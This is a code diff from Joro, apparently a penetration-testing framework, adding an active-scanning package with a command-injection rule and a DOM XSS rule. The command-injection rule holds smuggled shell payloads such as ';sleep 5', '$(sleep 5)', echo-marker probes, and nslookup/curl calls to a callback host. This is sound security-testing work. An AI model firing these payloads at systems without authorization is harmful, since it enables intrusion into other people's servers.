4. Components use semantic classes only — never raw Tailwind colors
To add a new theme: create `web/src/themes/<name>.css` with all `--color-*` variables under `[data-theme="<name>"]`, import in `web/src/index.css`, set `data-theme="<name>"` on `<html>` to activate.
### Important
- **No raw Tailwind colors in components.** No `bg-gray-*`, `text-red-*`, etc. in TSX. Always use semantic classes.
- **Three accent colors:** Red (`accent`) for brand/emphasis/selected, Teal (`accent-secondary`) for actions/links, Lime (`accent-tertiary`) for positive/forward.
- **`bg-accent-tertiary` and `bg-accent-secondary` buttons need `text-black`** for legibility.
- **Tailwind opacity syntax (`bg-color/80`) won't work** with CSS variable colors. Use a dedicated variable or a different palette color.
- **CodeMirror uses `oneDark`** — not yet integrated with theming.
- **Theme selector** on Settings page. Stored in `localStorage` under `joro-theme`, applied on load in `main.tsx`.
+2 -3
View File
@@ -1,12 +1,11 @@
# Joro
![](assets/header.png)
A web exploitation framework for offensive security professionals. Intercepting proxy, blind vulnerability detection, web shell generation, C2 integration, and collaboration tools in a single binary with an embedded web UI.
![](examples/images/joro.png)
> Warning: This tool is intended for authorized penetration testing and security research only. You must only use Joro against systems you own or have explicit written permission to test. Unauthorized access to computer systems is illegal. Bishop Fox assumes no liability and is not responsible for any misuse or damage caused by this tool. Use responsibly.
![](examples/images/joro-history.png)
## Features
Binary file not shown.

Before

Width:  |  Height:  |  Size: 328 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 307 KiB

+30 -12
View File
@@ -238,6 +238,8 @@
return (ms / 1000).toFixed(1) + 's';
}
// Captured URLs are stored relative when the request reached the proxy in origin-form,
// and new URL() throws on those, so the fallback returns the string unchanged.
function extractPath(url) {
try {
const u = new URL(url);
@@ -247,6 +249,21 @@
}
}
// cell builds a <td>, setting text with textContent so a value is never parsed as markup.
function cell(text, opts) {
const td = document.createElement('td');
if (opts && opts.span) {
const span = document.createElement('span');
span.className = opts.span;
span.textContent = text;
td.appendChild(span);
} else {
td.textContent = text;
}
if (opts && opts.title) td.title = opts.title;
return td;
}
async function fetchJSON(url) {
const res = await fetch(url);
if (!res.ok) return null;
@@ -284,26 +301,27 @@
const emptyMsg = $('empty-msg');
if (!recent || !recent.items || recent.items.length === 0) {
tbody.innerHTML = '';
tbody.replaceChildren();
emptyMsg.style.display = 'block';
return;
}
emptyMsg.style.display = 'none';
// Values from the capture store are arbitrary bytes from the wire, so rows are built
// from DOM nodes rather than an interpolated markup string. That applies to the title
// attribute as much as to cell text.
const rows = recent.items.map(r => {
const mc = methodClass(r.method);
const sc = statusClass(r.statusCode);
const path = extractPath(r.url || '');
return `<tr>
<td><span class="method ${mc}">${r.method}</span></td>
<td><span class="status ${sc}">${r.statusCode || '-'}</span></td>
<td>${r.host || '-'}</td>
<td title="${path}">${path}</td>
<td>${fmtSize(r.respSize)}</td>
<td>${fmtDuration(r.durationMs)}</td>
</tr>`;
const tr = document.createElement('tr');
tr.appendChild(cell(r.method, { span: 'method ' + methodClass(r.method) }));
tr.appendChild(cell(r.statusCode || '-', { span: 'status ' + statusClass(r.statusCode) }));
tr.appendChild(cell(r.host || '-'));
tr.appendChild(cell(path, { title: path }));
tr.appendChild(cell(fmtSize(r.respSize)));
tr.appendChild(cell(fmtDuration(r.durationMs)));
return tr;
});
tbody.innerHTML = rows.join('');
tbody.replaceChildren(...rows);
}
refresh();
+11 -8
View File
@@ -2,6 +2,8 @@ module github.com/BishopFox/joro
go 1.25.0
godebug multipathtcp=0
require github.com/hashicorp/go-uuid v1.0.3
require (
@@ -10,10 +12,11 @@ require (
github.com/gorilla/websocket v1.5.3
github.com/miekg/dns v1.1.72
github.com/spf13/pflag v1.0.10
golang.org/x/net v0.55.0
golang.org/x/sys v0.45.0
google.golang.org/grpc v1.82.1
golang.org/x/net v0.58.0
golang.org/x/sys v0.47.0
google.golang.org/grpc v1.83.2
google.golang.org/protobuf v1.36.11
gopkg.in/yaml.v3 v3.0.1
modernc.org/sqlite v1.46.1
)
@@ -27,11 +30,11 @@ require (
github.com/ncruces/go-strftime v1.0.0 // indirect
github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec // indirect
golang.org/x/exp v0.0.0-20251023183803-a4bb9ffd2546 // indirect
golang.org/x/mod v0.35.0 // indirect
golang.org/x/sync v0.20.0 // indirect
golang.org/x/text v0.37.0 // indirect
golang.org/x/tools v0.44.0 // indirect
google.golang.org/genproto/googleapis/rpc v0.0.0-20260414002931-afd174a4e478 // indirect
golang.org/x/mod v0.38.0 // indirect
golang.org/x/sync v0.22.0 // indirect
golang.org/x/text v0.41.0 // indirect
golang.org/x/tools v0.48.0 // indirect
google.golang.org/genproto/googleapis/rpc v0.0.0-20260526163538-3dc84a4a5aaa // indirect
modernc.org/libc v1.67.6 // indirect
modernc.org/mathutil v1.7.1 // indirect
modernc.org/memory v1.11.0 // indirect
+30 -26
View File
@@ -42,39 +42,43 @@ github.com/spf13/pflag v1.0.10 h1:4EBh2KAYBwaONj6b2Ye1GiHfwjqyROoF4RwYO+vPwFk=
github.com/spf13/pflag v1.0.10/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg=
go.opentelemetry.io/auto/sdk v1.2.1 h1:jXsnJ4Lmnqd11kwkBV2LgLoFMZKizbCi5fNZ/ipaZ64=
go.opentelemetry.io/auto/sdk v1.2.1/go.mod h1:KRTj+aOaElaLi+wW1kO/DZRXwkF4C5xPbEe3ZiIhN7Y=
go.opentelemetry.io/otel v1.43.0 h1:mYIM03dnh5zfN7HautFE4ieIig9amkNANT+xcVxAj9I=
go.opentelemetry.io/otel v1.43.0/go.mod h1:JuG+u74mvjvcm8vj8pI5XiHy1zDeoCS2LB1spIq7Ay0=
go.opentelemetry.io/otel/metric v1.43.0 h1:d7638QeInOnuwOONPp4JAOGfbCEpYb+K6DVWvdxGzgM=
go.opentelemetry.io/otel/metric v1.43.0/go.mod h1:RDnPtIxvqlgO8GRW18W6Z/4P462ldprJtfxHxyKd2PY=
go.opentelemetry.io/otel/sdk v1.43.0 h1:pi5mE86i5rTeLXqoF/hhiBtUNcrAGHLKQdhg4h4V9Dg=
go.opentelemetry.io/otel/sdk v1.43.0/go.mod h1:P+IkVU3iWukmiit/Yf9AWvpyRDlUeBaRg6Y+C58QHzg=
go.opentelemetry.io/otel/sdk/metric v1.43.0 h1:S88dyqXjJkuBNLeMcVPRFXpRw2fuwdvfCGLEo89fDkw=
go.opentelemetry.io/otel/sdk/metric v1.43.0/go.mod h1:C/RJtwSEJ5hzTiUz5pXF1kILHStzb9zFlIEe85bhj6A=
go.opentelemetry.io/otel/trace v1.43.0 h1:BkNrHpup+4k4w+ZZ86CZoHHEkohws8AY+WTX09nk+3A=
go.opentelemetry.io/otel/trace v1.43.0/go.mod h1:/QJhyVBUUswCphDVxq+8mld+AvhXZLhe+8WVFxiFff0=
go.opentelemetry.io/otel v1.44.0 h1:JjwHmHpA4iZ3wBxluu2fbbE7j4kqlE8jXyAyPXH7HqU=
go.opentelemetry.io/otel v1.44.0/go.mod h1:BMgjTHL9WPRlRjL2oZCBTL4whCGtXch2H4BhOPIAyYc=
go.opentelemetry.io/otel/metric v1.44.0 h1:1w0gILTcHdr3YI+ixLyjemwrVnsMURbTZFrSYCdDdmc=
go.opentelemetry.io/otel/metric v1.44.0/go.mod h1:8O7hanEPBNgEMmybD3s2VBKcgWOCsA6tzHBPODAiquo=
go.opentelemetry.io/otel/sdk v1.44.0 h1:nHYwb9lK+fJPU/dnT6s7W7Z8itMWyqrnVfbheVYrZ58=
go.opentelemetry.io/otel/sdk v1.44.0/go.mod h1:Osuydd3Se74nqjAKxid74N5eC+jfEqfTegHRnq58oK0=
go.opentelemetry.io/otel/sdk/metric v1.44.0 h1:3LlKgI+VjbVsjNRFZJZAJ30WjXC5VkNRks6si09iEfI=
go.opentelemetry.io/otel/sdk/metric v1.44.0/go.mod h1:5B5pMARnXxKhltooO4xUuCBorl65a4EpnTalObqOigA=
go.opentelemetry.io/otel/trace v1.44.0 h1:jxF5CsGYCe74MCRx2X4g7WsY/VBKRqqpNvXlX/6gtIk=
go.opentelemetry.io/otel/trace v1.44.0/go.mod h1:oLl1jrMQAVo6v3GAggN+1VH9VIz9iUSvW53sW1Q8PIE=
golang.org/x/exp v0.0.0-20251023183803-a4bb9ffd2546 h1:mgKeJMpvi0yx/sU5GsxQ7p6s2wtOnGAHZWCHUM4KGzY=
golang.org/x/exp v0.0.0-20251023183803-a4bb9ffd2546/go.mod h1:j/pmGrbnkbPtQfxEe5D0VQhZC6qKbfKifgD0oM7sR70=
golang.org/x/mod v0.35.0 h1:Ww1D637e6Pg+Zb2KrWfHQUnH2dQRLBQyAtpr/haaJeM=
golang.org/x/mod v0.35.0/go.mod h1:+GwiRhIInF8wPm+4AoT6L0FA1QWAad3OMdTRx4tFYlU=
golang.org/x/net v0.55.0 h1:bcvxaJn3e1U6InsFWt1JUq1aSjnRxLzT2rtD2KfkDF8=
golang.org/x/net v0.55.0/go.mod h1:L5U2KuzuOe1lY7Z+aWVIKK6qEeJXnXV9yzGA+WCHJww=
golang.org/x/sync v0.20.0 h1:e0PTpb7pjO8GAtTs2dQ6jYa5BWYlMuX047Dco/pItO4=
golang.org/x/sync v0.20.0/go.mod h1:9xrNwdLfx4jkKbNva9FpL6vEN7evnE43NNNJQ2LF3+0=
golang.org/x/mod v0.38.0 h1:MECBjubtXD7yj4HrhIUcywNaGeNVUdfVnxmPajOk4yk=
golang.org/x/mod v0.38.0/go.mod h1:V6Xz0pq8TQ3dGqVQ1FVHuelZpAL0uNhSkk9ogYP3c40=
golang.org/x/net v0.58.0 h1:ynWG7rqYi4ccpTEuPZ2QGWHktVEM9DMCj9yzDE0Q7To=
golang.org/x/net v0.58.0/go.mod h1:YwCddHnFlT7eLQqVprV19OnhLGtc5xOKgE0RyqgfWAU=
golang.org/x/sync v0.22.0 h1:SZjpbeLmrCk4xhRSZFNZW5gFUeCeFgjekvI/+gfScek=
golang.org/x/sync v0.22.0/go.mod h1:9xrNwdLfx4jkKbNva9FpL6vEN7evnE43NNNJQ2LF3+0=
golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.45.0 h1:dO4czNzziLiiXplLQgBCEpCvXQ3dnkn0SdaZSYdQ+FY=
golang.org/x/sys v0.45.0/go.mod h1:4GL1E5IUh+htKOUEOaiffhrAeqysfVGipDYzABqnCmw=
golang.org/x/text v0.37.0 h1:Cqjiwd9eSg8e0QAkyCaQTNHFIIzWtidPahFWR83rTrc=
golang.org/x/text v0.37.0/go.mod h1:a5sjxXGs9hsn/AJVwuElvCAo9v8QYLzvavO5z2PiM38=
golang.org/x/tools v0.44.0 h1:UP4ajHPIcuMjT1GqzDWRlalUEoY+uzoZKnhOjbIPD2c=
golang.org/x/tools v0.44.0/go.mod h1:KA0AfVErSdxRZIsOVipbv3rQhVXTnlU6UhKxHd1seDI=
golang.org/x/sys v0.47.0 h1:o7XGOvZQCADBQQ4Y7VNq2dRWQR7JmOUW8Kxx4ZsNgWs=
golang.org/x/sys v0.47.0/go.mod h1:4GL1E5IUh+htKOUEOaiffhrAeqysfVGipDYzABqnCmw=
golang.org/x/text v0.41.0 h1:vz/seA0lnX87Othu2f/0L24RcgrXD9/YFTSuGjj3rH8=
golang.org/x/text v0.41.0/go.mod h1:jvf1O8ajNzZqhSrQBPbutR/EB83Cc0CFrezNQIwbb5M=
golang.org/x/tools v0.48.0 h1:3+hClM1aLL5mjMKm5ovokw9epgRXPuu2tILgismM6RE=
golang.org/x/tools v0.48.0/go.mod h1:08xX0orndb/F7jJxGDicx061tyd5pcMto75YMAXr6lk=
gonum.org/v1/gonum v0.17.0 h1:VbpOemQlsSMrYmn7T2OUvQ4dqxQXU+ouZFQsZOx50z4=
gonum.org/v1/gonum v0.17.0/go.mod h1:El3tOrEuMpv2UdMrbNlKEh9vd86bmQ6vqIcDwxEOc1E=
google.golang.org/genproto/googleapis/rpc v0.0.0-20260414002931-afd174a4e478 h1:RmoJA1ujG+/lRGNfUnOMfhCy5EipVMyvUE+KNbPbTlw=
google.golang.org/genproto/googleapis/rpc v0.0.0-20260414002931-afd174a4e478/go.mod h1:4Hqkh8ycfw05ld/3BWL7rJOSfebL2Q+DVDeRgYgxUU8=
google.golang.org/grpc v1.82.1 h1:NnAxzGRA0677vCa4BUkOAnO5+FfQqVl9iUXeD0IqcGE=
google.golang.org/grpc v1.82.1/go.mod h1:yzTZ1TB1Z3SG+LIYaI+WiE8D5+PZ3ArnrSp8zF3+/ZA=
google.golang.org/genproto/googleapis/rpc v0.0.0-20260526163538-3dc84a4a5aaa h1:mZHHdPZl0dbGHCflZgAq/Q468DWVFcU2whhB2KAo8fk=
google.golang.org/genproto/googleapis/rpc v0.0.0-20260526163538-3dc84a4a5aaa/go.mod h1:4Hqkh8ycfw05ld/3BWL7rJOSfebL2Q+DVDeRgYgxUU8=
google.golang.org/grpc v1.83.2 h1:EManeRomTObA0BU7I8vXgg/78uE5MJ9M8B39EX2WscU=
google.golang.org/grpc v1.83.2/go.mod h1:YPI1hK3kDked6iHvgX3tR0y+nX/qpMFKhPgFsokw1S8=
google.golang.org/protobuf v1.36.11 h1:fV6ZwhNocDyBLK0dj+fg8ektcVegBBuEolpbTQyBNVE=
google.golang.org/protobuf v1.36.11/go.mod h1:HTf+CrKn2C3g5S8VImy6tdcUvCska2kB7j23XfzDpco=
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405 h1:yhCVgyC4o1eVCa2tZl7eS0r+SDo693bJlVdllGtEeKM=
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
modernc.org/cc/v4 v4.27.1 h1:9W30zRlYrefrDV2JE2O8VDtJ1yPGownxciz5rrbQZis=
modernc.org/cc/v4 v4.27.1/go.mod h1:uVtb5OGqUKpoLWhqwNQo/8LwvoiEBLvZXIQ/SmO6mL0=
modernc.org/ccgo/v4 v4.30.1 h1:4r4U1J6Fhj98NKfSjnPUN7Ze2c6MnAdL0hWw6+LrJpc=
+277
View File
@@ -0,0 +1,277 @@
// Package activescan is Joro's operator-initiated active scanning: unlike detect,
// echo and anomaly — which only ever read captured traffic — a scan originates
// traffic or drives a browser against a target the operator picked, and files
// confirmed results into the shared detect.Store.
//
// # A framework, not one check
//
// A scan runs a set of pluggable Rules against one Target. DOM XSS is the first
// and only rule today; the interface exists so a future active rule (a reflected-
// XSS prober, an open-redirect check) plugs in without the run machinery, the
// scope rule or the context-menu wiring changing. The registry is an instance a
// caller builds and owns, not a package global, per the project's no-globals rule.
//
// # One run at a time
//
// Like internal/chainrun, a scan is sequential and the store refuses a second
// concurrent run (the AddIfIdle guard). A DOM XSS scan drives a single browser
// and a future state-changing rule would race the application's own state, so
// coexisting runs would describe the interleaving rather than the target.
//
// # Scope is a filter, not a gate
//
// The target's URLs are scope-filtered by the handler through proxy.Scope.InScope,
// which returns true whenever scope filtering is disabled. So with scope off — the
// default — nothing is rejected and a scan covers every target; scope only narrows
// a scan once the operator turns it on. Rules therefore receive an already-filtered
// URL list and never re-check.
package activescan
import (
"context"
"sort"
"sync"
"github.com/BishopFox/joro/internal/callback"
"github.com/BishopFox/joro/internal/cert"
"github.com/BishopFox/joro/internal/detect"
"github.com/BishopFox/joro/internal/proxy"
"github.com/BishopFox/joro/internal/techfp"
)
// Status is a run's state.
type Status string
const (
StatusRunning Status = "running"
StatusComplete Status = "complete"
StatusStopped Status = "stopped"
)
// Bounds.
const (
MaxRuns = 20
// MaxURLs caps a single host scan: a large site map should not turn one click
// into thousands of navigations.
MaxURLs = 200
DefaultBudgetMs = 600000 // 10 minutes
MaxBudgetMs = 1800000 // 30 minutes
)
// TargetURL is one address to exercise.
type TargetURL struct {
URL string `json:"url"`
Method string `json:"method"`
RequestID string `json:"requestId,omitempty"` // the capture it came from, if any
// RawReq carries the captured request bytes for a future HTTP-sending rule.
// The DOM XSS rule navigates to URL and ignores it.
RawReq []byte `json:"-"`
}
// Target is what a scan operates on: one host's endpoints, or a single request.
type Target struct {
Scheme string `json:"scheme"`
Host string `json:"host"` // Host-header form (may carry :port)
Origin string `json:"origin"` // scheme://host
URLs []TargetURL `json:"-"`
}
// Config is snapshotted when a run starts.
type Config struct {
// Scope records how the target was chosen, for display: "host" or "request".
Scope string
// Rules names the rule IDs to run; empty means every registered rule.
Rules []string
// AllowDestructive is the arming gate reserved for rules that change state.
// DOM XSS is read-only navigation and does not consult it, but the field is
// the seam a future rule's Plan refusal hangs on.
AllowDestructive bool
// Tags and Severity narrow which signatures the template rule runs; empty
// means no filter. IgnoreFingerprint makes that rule skip fingerprint gating
// and run every eligible signature. Only the template-signature rule reads
// these; other rules ignore them.
Tags []string
Severity []string
IgnoreFingerprint bool
// NoOAST opts the injection rules out of out-of-band testing even when a
// callback listener is configured. OAST is already disabled when no listener
// is configured; this is the operator's explicit opt-out when one is.
NoOAST bool
BudgetMs int
}
// RuleDeps is everything a rule might need to originate traffic or drive a
// browser. A rule takes what it uses and ignores the rest.
type RuleDeps struct {
ProxyAddr string
CA *cert.CA
Store *proxy.Store
Scope *proxy.Scope
DataDir string
// Tech is the passive fingerprint store. The template-signature rule reads it
// to run only the checks a host's detected stack warrants; nil disables gating
// (every eligible signature runs).
Tech *techfp.Store
// Callback is the out-of-band (OAST) callback store. The injection rules mint a
// token and poll it for blind interactions; nil (or no configured domain)
// disables OAST vectors, so they run only when a listener/domain is configured.
Callback *callback.Store
}
// Reporter is how a rule reports progress and results back to the run. Both
// methods are safe to call from the rule's own goroutines.
type Reporter interface {
// Finding files a confirmed result into the shared detect store.
Finding(detect.Finding)
// Progress advances the run's completed count by delta units of work.
Progress(delta int)
}
// Rule is one active check. It owns its own traversal and resources: the DOM XSS
// rule launches one browser and drives every URL through it, tearing it down
// when Run returns.
type Rule interface {
ID() string
Name() string
Category() detect.Category
// Description explains what the rule does, for the Rules UI. It is the active
// counterpart to a passive rule's Description field.
Description() string
Run(ctx context.Context, t Target, cfg Config, deps RuleDeps, rep Reporter) error
}
// Registry holds the rules a host process offers. It is built and owned by the
// caller (the API server), not a package global.
//
// A rule's enabled-state is stored as the DISABLED set (an absent id is enabled),
// so a newly-registered rule defaults on with no migration and the project file
// persists only the exceptions. The enabled-state is per-project session state:
// applyProjectConfig sets it on a project switch and buildProjectConfig reads it.
type Registry struct {
mu sync.RWMutex
rules map[string]Rule
order []string
disabled map[string]bool
}
// NewRegistry creates an empty registry.
func NewRegistry() *Registry {
return &Registry{rules: make(map[string]Rule), disabled: make(map[string]bool)}
}
// Register adds a rule, keeping registration order for listing.
func (r *Registry) Register(rule Rule) {
r.mu.Lock()
defer r.mu.Unlock()
if _, ok := r.rules[rule.ID()]; !ok {
r.order = append(r.order, rule.ID())
}
r.rules[rule.ID()] = rule
}
// Get returns a rule by ID, or nil.
func (r *Registry) Get(id string) Rule {
r.mu.RLock()
defer r.mu.RUnlock()
return r.rules[id]
}
// All returns every registered rule in registration order.
func (r *Registry) All() []Rule {
r.mu.RLock()
defer r.mu.RUnlock()
out := make([]Rule, 0, len(r.order))
for _, id := range r.order {
out = append(out, r.rules[id])
}
return out
}
// IsEnabled reports whether a rule runs when no explicit selection is made.
func (r *Registry) IsEnabled(id string) bool {
r.mu.RLock()
defer r.mu.RUnlock()
return !r.disabled[id]
}
// SetEnabled toggles a rule's enabled-state.
func (r *Registry) SetEnabled(id string, on bool) {
r.mu.Lock()
defer r.mu.Unlock()
if on {
delete(r.disabled, id)
} else {
r.disabled[id] = true
}
}
// Disabled returns the disabled rule IDs, sorted — the set the project file
// persists.
func (r *Registry) Disabled() []string {
r.mu.RLock()
defer r.mu.RUnlock()
out := make([]string, 0, len(r.disabled))
for id := range r.disabled {
out = append(out, id)
}
sort.Strings(out)
return out
}
// SetDisabled replaces the disabled set, for a project restore. A nil slice
// clears it, so a project with no setting runs every rule.
func (r *Registry) SetDisabled(ids []string) {
r.mu.Lock()
defer r.mu.Unlock()
r.disabled = make(map[string]bool, len(ids))
for _, id := range ids {
r.disabled[id] = true
}
}
// Resolve returns the rules a config selects, in registration order. An empty
// selection means every ENABLED rule; an explicit selection returns the named
// registered rules regardless of enabled-state, so an operator choosing a rule
// overrides its global toggle.
func (r *Registry) Resolve(ids []string) []Rule {
if len(ids) == 0 {
out := make([]Rule, 0, len(r.order))
for _, rule := range r.All() {
if r.IsEnabled(rule.ID()) {
out = append(out, rule)
}
}
return out
}
want := make(map[string]bool, len(ids))
for _, id := range ids {
want[id] = true
}
out := make([]Rule, 0, len(ids))
for _, rule := range r.All() {
if want[rule.ID()] {
out = append(out, rule)
}
}
return out
}
func clampInt(v, def, lo, hi int) int {
if v == 0 {
return def
}
if v < lo {
return lo
}
if v > hi {
return hi
}
return v
}
+91
View File
@@ -0,0 +1,91 @@
package activescan
import (
"sort"
"sync"
)
// CatalogField is one labelled line in an item's read-only detail.
type CatalogField struct {
Label string `json:"label"`
Value string `json:"value"`
}
// CatalogItem is one entry in a rule's catalog — a nuclei signature or an injection
// check. It carries the common columns plus a free-form Detail list, so the handler
// and UI are agnostic to the item kind.
type CatalogItem struct {
ID string `json:"id"`
Name string `json:"name"`
Severity string `json:"severity"`
Confidence string `json:"confidence,omitempty"`
Target string `json:"target,omitempty"`
Description string `json:"description,omitempty"`
Remediation string `json:"remediation,omitempty"`
Enabled bool `json:"enabled"`
Detail []CatalogField `json:"detail,omitempty"`
}
// Cataloger is implemented by a Rule that exposes a catalog of individually
// toggleable items (Template signatures, or an injection rule's checks). It is
// optional — a single-check rule like DOM XSS does not implement it. The
// enable/disable half is satisfied by embedding *DisabledSet.
type Cataloger interface {
CatalogItems() []CatalogItem
IsItemEnabled(id string) bool
SetItemEnabled(id string, on bool)
DisabledItems() []string
SetDisabledItems(ids []string)
}
// DisabledSet is a reusable per-item disabled set (an absent id is enabled),
// mirroring the Registry's per-rule model at item granularity. Rules embed it to
// get four of the five Cataloger methods for free; it is per-project session state
// (applyProjectConfig sets it, buildProjectConfig reads it).
type DisabledSet struct {
mu sync.RWMutex
m map[string]bool
}
// NewDisabledSet returns an empty set (everything enabled).
func NewDisabledSet() *DisabledSet { return &DisabledSet{m: map[string]bool{}} }
// IsItemEnabled reports whether an item runs (absent from the disabled set).
func (d *DisabledSet) IsItemEnabled(id string) bool {
d.mu.RLock()
defer d.mu.RUnlock()
return !d.m[id]
}
// SetItemEnabled toggles one item's disabled-state.
func (d *DisabledSet) SetItemEnabled(id string, on bool) {
d.mu.Lock()
defer d.mu.Unlock()
if on {
delete(d.m, id)
} else {
d.m[id] = true
}
}
// DisabledItems returns the disabled ids, sorted — the set the project file persists.
func (d *DisabledSet) DisabledItems() []string {
d.mu.RLock()
defer d.mu.RUnlock()
out := make([]string, 0, len(d.m))
for id := range d.m {
out = append(out, id)
}
sort.Strings(out)
return out
}
// SetDisabledItems replaces the set, for a project restore. A nil slice clears it.
func (d *DisabledSet) SetDisabledItems(ids []string) {
d.mu.Lock()
defer d.mu.Unlock()
d.m = make(map[string]bool, len(ids))
for _, id := range ids {
d.m[id] = true
}
}
+134
View File
@@ -0,0 +1,134 @@
// Package cmdi is the active command-injection rule. It exposes checks for
// output-marker, Unix/Windows timing, and out-of-band detection; each appends
// shell-metacharacter payloads to a parameter.
package cmdi
import (
"context"
"crypto/rand"
"encoding/hex"
"strings"
"time"
"github.com/BishopFox/joro/internal/activescan"
"github.com/BishopFox/joro/internal/activescan/injkit"
"github.com/BishopFox/joro/internal/detect"
)
const (
ruleID = "cmdi"
findingRule = "activescan.cmdi"
sleepMs = 5000
oastWindow = 12 * time.Second
// marker product 73*79=5767: a shell evaluates the arithmetic, while a merely
// reflective app echoes the literal "$((73*79))" — so the computed form confirms
// execution, not reflection.
markerProduct = "5767"
)
var unixTime = []string{`;sleep 5`, `|sleep 5`, `||sleep 5`, `&&sleep 5`, "`sleep 5`", `$(sleep 5)`}
var winTime = []string{`& timeout /t 5`, `& ping -n 6 127.0.0.1`}
func markerSuffixes(nonce string) []string {
e := nonce + `$((73*79))`
return []string{`;echo ` + e, `|echo ` + e, "`echo " + e + "`", `& echo ` + e}
}
func oastSuffixes(host string) []string {
return []string{`;nslookup ` + host, `|nslookup ` + host, `$(nslookup ` + host + `)`, `& nslookup ` + host, `;curl ` + host}
}
var checks = []injkit.Check{
{
ID: "output", Name: "Output marker", Severity: detect.SeverityCritical,
Description: "Appends an echo of a shell-arithmetic marker; the computed result in the response confirms execution (not mere reflection).",
Payloads: []string{`;echo <marker>$((73*79))`, `|echo …`, "`echo …`", `& echo …`},
Probe: outputMarker,
},
{
ID: "time-unix", Name: "Time-based (Unix)", Severity: detect.SeverityCritical,
Description: "Appends a Unix sleep and confirms a delayed response twice.",
Payloads: unixTime,
Probe: func(pc injkit.ProbeCtx) { timeBased(pc, unixTime) },
},
{
ID: "time-windows", Name: "Time-based (Windows)", Severity: detect.SeverityCritical,
Description: "Appends a Windows timeout/ping delay and confirms a delayed response twice.",
Payloads: winTime,
Probe: func(pc injkit.ProbeCtx) { timeBased(pc, winTime) },
},
{
ID: "oast", Name: "Out-of-band", Severity: detect.SeverityCritical,
Description: "Appends nslookup/curl to the callback host and polls the listener for an interaction.",
Payloads: []string{`;nslookup <callback>`, `$(nslookup <callback>)`, `;curl <callback>`},
RequiresOAST: true,
Probe: oastBased,
},
}
type Rule struct{ *activescan.DisabledSet }
func New() *Rule { return &Rule{activescan.NewDisabledSet()} }
func (*Rule) ID() string { return ruleID }
func (*Rule) Name() string { return "Command injection" }
func (*Rule) Category() detect.Category { return detect.CategoryCommandInjection }
func (*Rule) Description() string {
return "Appends shell-metacharacter payloads (echo marker, sleep/timeout, and — when a " +
"callback listener is configured — nslookup/curl) to each parameter, confirming via an " +
"evaluated marker, a timing delay, or an out-of-band callback."
}
func (r *Rule) CatalogItems() []activescan.CatalogItem {
return injkit.Catalog(checks, r.DisabledSet, false)
}
func (r *Rule) Run(ctx context.Context, t activescan.Target, cfg activescan.Config, deps activescan.RuleDeps, rep activescan.Reporter) error {
injkit.RunChecks(ctx, t, cfg, deps, rep, checks, r.DisabledSet, findingRule, detect.CategoryCommandInjection, "Command injection")
return nil
}
func outputMarker(pc injkit.ProbeCtx) {
nonce := "joro" + randHex(5)
for _, s := range markerSuffixes(nonce) {
if res := pc.Inject(s, true); res != nil && strings.Contains(string(res.Resp.Body), nonce+markerProduct) {
pc.File(detect.SeverityCritical, "output-based command injection in "+pc.Point.Name, "injected "+s+" and the shell-evaluated marker was echoed", res.URL)
return
}
}
}
func timeBased(pc injkit.ProbeCtx, suffixes []string) {
for _, s := range suffixes {
res := pc.Inject(s, true)
if res == nil || !injkit.LooksDelayed(res.DurationMs, pc.Base.FloorMs, sleepMs) {
continue
}
if res2 := pc.Inject(s, true); res2 != nil && injkit.LooksDelayed(res2.DurationMs, pc.Base.FloorMs, sleepMs) {
pc.File(detect.SeverityCritical, "time-based blind command injection in "+pc.Point.Name, "injecting "+s+" delayed the response twice (~5s over baseline)", res.URL)
return
}
}
}
func oastBased(pc injkit.ProbeCtx) {
if pc.OAST == nil {
return
}
tokenID, host, err := pc.OAST.Token("cmdi")
if err != nil {
return
}
for _, s := range oastSuffixes(host) {
pc.Inject(s, true)
}
if pc.OAST.Fired(pc.Ctx, tokenID, oastWindow) {
pc.File(detect.SeverityCritical, "out-of-band command injection in "+pc.Point.Name, "an injected command triggered a callback to "+host, pc.Base.URL)
}
}
func randHex(n int) string {
b := make([]byte, n)
_, _ = rand.Read(b)
return hex.EncodeToString(b)
}
+294
View File
@@ -0,0 +1,294 @@
// Package domxss is the first internal/activescan rule: it confirms DOM-based XSS
// by driving a headless browser over CDP.
//
// For each target URL it plants a distinct canary token in each controllable DOM
// source — the URL fragment, a query value and window.name — then navigates to
// the URL. A monitor shim (monitor.js), injected before any page script runs and
// so unaffected by the page's CSP, wraps the dangerous sinks (innerHTML, eval,
// document.write, setAttribute, jQuery.html, …). When a canary reaches a sink the
// shim reports which one and from which source over a CDP binding, and that
// becomes a high-confidence detect.Finding.
//
// Per-source canaries make attribution exact: because the hash, query and name
// tokens differ, a sink hit names the precise source that reached it rather than
// guessing from whichever source happened to hold the payload.
package domxss
import (
"context"
"crypto/rand"
_ "embed"
"encoding/hex"
"encoding/json"
"fmt"
"net/url"
"path/filepath"
"strings"
"sync"
"time"
"github.com/BishopFox/joro/internal/activescan"
"github.com/BishopFox/joro/internal/browser"
"github.com/BishopFox/joro/internal/cdp"
"github.com/BishopFox/joro/internal/detect"
)
//go:embed monitor.js
var monitorJS string
const (
ruleID = "domxss"
bindingName = "__joroDomXss"
findingRule = "activescan.domxss"
connectTimeout = 20 * time.Second
perURLTimeout = 15 * time.Second
settleDelay = 1200 * time.Millisecond
)
// Rule implements activescan.Rule.
type Rule struct{}
// New returns the DOM XSS rule.
func New() *Rule { return &Rule{} }
func (*Rule) ID() string { return ruleID }
func (*Rule) Name() string { return "DOM-based XSS" }
func (*Rule) Category() detect.Category { return detect.CategoryDOMXSS }
func (*Rule) Description() string {
return "Drives a dedicated headless Chromium through Joro's proxy and plants per-source " +
"canaries in the URL fragment, a query value, and window.name, then reports when the " +
"page's own JavaScript carries one into a dangerous sink (innerHTML, document.write, " +
"eval, setTimeout, location, and similar). Injection is over CDP before page load, so " +
